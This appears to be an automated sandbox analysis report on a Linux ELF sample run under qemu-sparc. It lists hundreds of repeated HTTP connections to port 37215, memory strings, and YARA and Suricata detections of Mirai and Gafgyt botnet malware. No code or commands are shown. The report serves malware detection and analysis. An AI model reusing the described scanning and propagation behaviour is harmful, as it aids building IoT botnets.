Source: unknown	Network traffic detected: HTTP traffic on port 37276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215

Source: /tmp/9zldYT23H2.elf (PID: 5530)

Queries kernel information via 'uname':

Jump to behavior

Source: 9zldYT23H2.elf, 5530.1.00005558afaf9000.00005558afb7e000.rw-.sdmp, 9zldYT23H2.elf, 5534.1.00005558afaf9000.00005558afb7e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: 9zldYT23H2.elf, 5530.1.00005558afaf9000.00005558afb7e000.rw-.sdmp, 9zldYT23H2.elf, 5534.1.00005558afaf9000.00005558afb7e000.rw-.sdmp	Binary or memory string: XU!/etc/qemu-binfmt/sparc
Source: 9zldYT23H2.elf, 5530.1.00007ffe90e36000.00007ffe90e57000.rw-.sdmp, 9zldYT23H2.elf, 5534.1.00007ffe90e36000.00007ffe90e57000.rw-.sdmp	Binary or memory string: ?"x86_64/usr/bin/qemu-sparc/tmp/9zldYT23H2.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/9zldYT23H2.elf
Source: 9zldYT23H2.elf, 5530.1.00007ffe90e36000.00007ffe90e57000.rw-.sdmp, 9zldYT23H2.elf, 5534.1.00007ffe90e36000.00007ffe90e57000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: 9zldYT23H2.elf, type: SAMPLE
Source: Yara match	File source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: 9zldYT23H2.elf, type: SAMPLE
Source: Yara match	File source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9zldYT23H2.elf PID: 5530, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9zldYT23H2.elf PID: 5534, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
